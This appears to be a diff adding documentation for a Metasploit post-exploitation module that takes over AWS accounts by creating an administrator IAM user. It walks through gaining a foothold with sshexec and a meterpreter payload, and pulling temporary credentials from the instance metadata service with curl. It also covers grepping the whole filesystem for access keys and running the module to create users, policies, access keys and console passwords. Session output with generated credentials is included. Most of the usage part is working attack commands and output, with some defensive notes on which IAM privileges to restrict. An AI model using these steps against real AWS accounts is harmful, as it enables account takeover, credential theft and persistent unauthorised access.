|
| 1 | +# aws_create_iam_user |
| 2 | + |
| 3 | +aws_create_iam_user is a simple post module that can be used to take over AWS |
| 4 | +accounts. Sure, it is fun enough to take over a single host, but you can own all |
| 5 | +hosts in the account if you simply create an admin user. |
| 6 | + |
| 7 | +# Background |
| 8 | + |
| 9 | +## Instance Profiles |
| 10 | + |
| 11 | +An Instance Profile is an AWS construct that maps a role to a host (instance). |
| 12 | +Not all hosts have instance profiles and/or may have restricted privileges. |
| 13 | +AWS roles are composed of policies which specify API calls that the host is |
| 14 | +allowed to make. |
| 15 | + |
| 16 | +## Privileges |
| 17 | + |
| 18 | +This module depends on administrators being lazy and not using the least |
| 19 | +privileges possible. We often see instances assigned `*.*` roles that allow |
| 20 | +any user on the instance to make any API call including creating admin users. |
| 21 | +When this occours, a user with long lived credentials can be created and calls |
| 22 | +against the AWS API can be made from anywhere on the Internet. Once an account |
| 23 | +is taken over in this manner instances can be spun up, other users can be locked |
| 24 | +out, networks can be traversed, and many other dangeous things can happen. |
| 25 | + |
| 26 | +Only on rare cases should hosts have the following privileges, these should be |
| 27 | +restriced. |
| 28 | + |
| 29 | +* iam:CreateUser |
| 30 | +* iam:CreateGroup |
| 31 | +* iam:PutGroupPolicy |
| 32 | +* iam:AddUserToGroup |
| 33 | +* iam:CreateAccessKey |
| 34 | + |
| 35 | +This module will attempt all API calls listed above in sequence. Account takeover |
| 36 | +may succeed even if intermediate API calls fail. E.g., we may not be able to |
| 37 | +create a new user, but we may be able to create access keys for an existing user. |
| 38 | + |
| 39 | +## Metadata Service |
| 40 | + |
| 41 | +The metadata service is a mechanism the AWS hypervisor employs to pass |
| 42 | +information down into hosts. Any AWS host can retrieve information about itself |
| 43 | +and its environemtn by curling http://169.254.169.254/. This mechanism is also |
| 44 | +used to pass temporary credentials to a host. This module pulls these temporary |
| 45 | +credentials and attempts to create a user with admin privileges. |
| 46 | + |
| 47 | +To manually check that a host has an instance profile you can simply curl the |
| 48 | +metadata service like so: |
| 49 | + |
| 50 | +``` |
| 51 | +$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 52 | +SOME_ROLE_NAME |
| 53 | +$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/SOME_ROLE_NAME |
| 54 | +{ |
| 55 | + "Code" : "Success", |
| 56 | + "LastUpdated" : "2016-12-07T18:36:48Z", |
| 57 | + "Type" : "AWS-HMAC", |
| 58 | + "AccessKeyId" : "ASIA |
| 59 | + ... |
| 60 | +``` |
| 61 | + |
| 62 | +# Usage |
| 63 | + |
| 64 | +aws_create_iam_user can be used to take over an AWS account given access to |
| 65 | +a host having 1). overly permissive instance profile/role, 2). API Access keys. |
| 66 | +Once a foothold is established, you can run the module to pull temporary |
| 67 | +access keys from the metadata service. If this fails, search the instance for |
| 68 | +API access keys, e.g., see ~/.aws/credentials, and set `AccessKeyId`, |
| 69 | +`SecretAccessKey`, & `Token` (optional). |
| 70 | + |
| 71 | +## Establish a foothold |
| 72 | + |
| 73 | +You first need a foothold in AWS, e.g., here we use `sshexec` to get the |
| 74 | +foothold and launch a meterpreter session. |
| 75 | + |
| 76 | +``` |
| 77 | +$ ./msfconsole |
| 78 | +... |
| 79 | +msf > use exploit/multi/ssh/sshexec |
| 80 | +msf exploit(sshexec) > set password some_user |
| 81 | +password => some_user |
| 82 | +msf exploit(sshexec) > set username some_user |
| 83 | +username => some_user |
| 84 | +msf exploit(sshexec) > set RHOST 192.168.1.2 |
| 85 | +RHOST => 192.168.1.2 |
| 86 | +msf exploit(sshexec) > set payload linux/x86/meterpreter/bind_tcp |
| 87 | +payload => linux/x86/meterpreter/bind_tcp |
| 88 | +msf exploit(sshexec) > exploit -j |
| 89 | +[*] Exploit running as background job. |
| 90 | +
|
| 91 | +[*] Started bind handler |
| 92 | +msf exploit(sshexec) > [*] 192.168.1.2:22 - Sending stager... |
| 93 | +[*] Transmitting intermediate stager for over-sized stage...(105 bytes) |
| 94 | +[*] Command Stager progress - 42.09% done (306/727 bytes) |
| 95 | +[*] Command Stager progress - 100.00% done (727/727 bytes) |
| 96 | +[*] Sending stage (1495599 bytes) to 192.168.1.2 |
| 97 | +[*] Meterpreter session 1 opened (192.168.1.1:33750 -> 192.168.1.2:4444) at 2016-11-21 17:58:42 +0000 |
| 98 | +``` |
| 99 | + |
| 100 | +We will be using session 1. |
| 101 | + |
| 102 | +``` |
| 103 | +msf exploit(sshexec) > sessions |
| 104 | +
|
| 105 | +Active sessions |
| 106 | +=============== |
| 107 | +
|
| 108 | + Id Type Information Connection |
| 109 | + -- ---- ----------- ---------- |
| 110 | + 1 meterpreter x86/linux uid=50011, gid=50011, euid=50011, egid=50011, suid=50011, sgid=50011 @ ip-19-... 192.168.1.1:41634 -> 192.168.1.2:4444 (192.168.1.2) |
| 111 | +
|
| 112 | +``` |
| 113 | + |
| 114 | +## Options |
| 115 | + |
| 116 | +In the event that the session'd AWS instance does not have an IAM role assigned |
| 117 | +to it with sufficient privileges, the following options can be used to provide |
| 118 | +specific authentication material: |
| 119 | + |
| 120 | +* `AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges |
| 121 | +* `SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges |
| 122 | +* `Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired. |
| 123 | + |
| 124 | +The following options control the account that is being created: |
| 125 | + |
| 126 | +* `IAM_USERNAME`: set this if you would like to control the username for to user to be created |
| 127 | +* `CREATE_API`: when true, creates API keys for this user |
| 128 | +* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console |
| 129 | + |
| 130 | + |
| 131 | +## Abusing an Overly Permissive Instance Profile |
| 132 | + |
| 133 | +Here we are assuming that we have taken over a host having an instance profile with |
| 134 | +overly permissive access. Once a session is established, we can load |
| 135 | +`aws_create_iam_user` and specify a meterpreter sesssion, |
| 136 | +e.g., `SESSION 1` and run the exploit. |
| 137 | + |
| 138 | +``` |
| 139 | +msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user |
| 140 | +msf post(aws_create_iam_user) > set SESSION 1 |
| 141 | +SESSION => 1 |
| 142 | +msf post(aws_create_iam_user) > exploit |
| 143 | +
|
| 144 | +[*] 169.254.169.254 - looking for creds... |
| 145 | +[*] Creating user: gavgpsjXwj5HIxiz |
| 146 | +[*] Creating group: gavgpsjXwj5HIxiz |
| 147 | +[*] Creating group policy: gavgpsjXwj5HIxiz |
| 148 | +[*] Adding user (gavgpsjXwj5HIxiz) to group: gavgpsjXwj5HIxiz |
| 149 | +[*] Creating API Keys for gavgpsjXwj5HIxiz |
| 150 | +[*] Creating password for gavgpsjXwj5HIxiz |
| 151 | +AWS Account Information |
| 152 | +======================= |
| 153 | +
|
| 154 | +UserName GroupName SecretAccessKey AccessKeyId Password AccountId |
| 155 | +-------- --------- --------------- ----------- -------- --------- |
| 156 | +gavgpsjXwj5HIxiz gavgpsjXwj5HIxiz oX4csvu3Wun+GqVDzBHQ3FNfv41UhC4ibkLAmaW2 AKIAJRZQ2ENY45KKRBHQ gavgpsjXwj5HIxiz xxxxx |
| 157 | +
|
| 158 | +[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values |
| 159 | +[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account |
| 160 | +[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208140720_default_172.30.0.116_AWScredentials_099259.txt |
| 161 | +``` |
| 162 | + |
| 163 | +If the host does not have an instance profile or the right access, the output will look like so: |
| 164 | + |
| 165 | +``` |
| 166 | +[*] 169.254.169.254 - looking for creds... |
| 167 | +[*] Creating user: 3SFFML3ucP1AyP7J |
| 168 | +[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::abcd:user/3SFFML3ucP1AyP7J |
| 169 | +[*] Creating group: 3SFFML3ucP1AyP7J |
| 170 | +[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::abcd:group/3SFFML3ucP1AyP7J |
| 171 | +[*] Creating group policy: 3SFFML3ucP1AyP7J |
| 172 | +[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J |
| 173 | +[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J |
| 174 | +[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J |
| 175 | +[*] Creating API Keys for 3SFFML3ucP1AyP7J |
| 176 | +[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J |
| 177 | +[*] Post module execution completed |
| 178 | +``` |
| 179 | + |
| 180 | +## Abusing API Access Keys |
| 181 | + |
| 182 | +In the case that the host we have taken over has no instance profile or does not |
| 183 | +have the required privileges, we can search the host for access keys with |
| 184 | +something like `grep -r AKIA /`. These keys may have admin privileges at which |
| 185 | +point you own the account, if not we may be able to escalate privileges. |
| 186 | +We can set `AccessKeyId`, `SecretAccessKey`, & `Token` (optional) and rerun |
| 187 | +the exploit to test this possibility. |
| 188 | + |
| 189 | +``` |
| 190 | +msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user |
| 191 | +msf post(aws_create_iam_user) > set AccessKeyId AKIAAKIAAKIAAKIAAKIA |
| 192 | +AccessKeyId => AKIAAKIAAKIAAKIAAKIA |
| 193 | +msf post(aws_create_iam_user) > set SecretAccessKey jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah |
| 194 | +SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah |
| 195 | +msf post(aws_create_iam_user) > set SESSION 1 |
| 196 | +SESSION => 1 |
| 197 | +msf post(aws_create_iam_user) > run |
| 198 | +msf post(aws_create_iam_user) > run |
| 199 | +
|
| 200 | +[*] 169.254.169.254 - looking for creds... |
| 201 | +[*] Creating user: bZWsmzyupDWxe8CT |
| 202 | +[*] Creating group: bZWsmzyupDWxe8CT |
| 203 | +[*] Creating group policy: bZWsmzyupDWxe8CT |
| 204 | +[*] Adding user (bZWsmzyupDWxe8CT) to group: bZWsmzyupDWxe8CT |
| 205 | +[*] Creating API Keys for bZWsmzyupDWxe8CT |
| 206 | +[*] Creating password for bZWsmzyupDWxe8CT |
| 207 | +AWS Account Information |
| 208 | +======================= |
| 209 | +
|
| 210 | +UserName GroupName SecretAccessKey AccessKeyId Password AccountId |
| 211 | +-------- --------- --------------- ----------- -------- --------- |
| 212 | +bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AKIAJ6IVXYRUQAXU625A bZWsmzyupDWxe8CT xxxxx |
| 213 | +
|
| 214 | +[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values |
| 215 | +[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account |
| 216 | +[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208141050_default_172.30.0.116_AWScredentials_636339.txt |
| 217 | +[*] Post module execution completed |
| 218 | +``` |
| 219 | + |
| 220 | +## Next Steps |
| 221 | + |
| 222 | +Information necessary to use the created account is printed to the screen and stored in loot: |
| 223 | + |
| 224 | +``` |
| 225 | +{ |
| 226 | + "UserName": "As56ekIV59OgoFOj", |
| 227 | + "GroupName": "As56ekIV59OgoFOj", |
| 228 | + "SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD", |
| 229 | + "AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ", |
| 230 | + "Password": "As56ekIV59OgoFOj", |
| 231 | + "AccountId": "xxx" |
| 232 | +} |
| 233 | +``` |
0 commit comments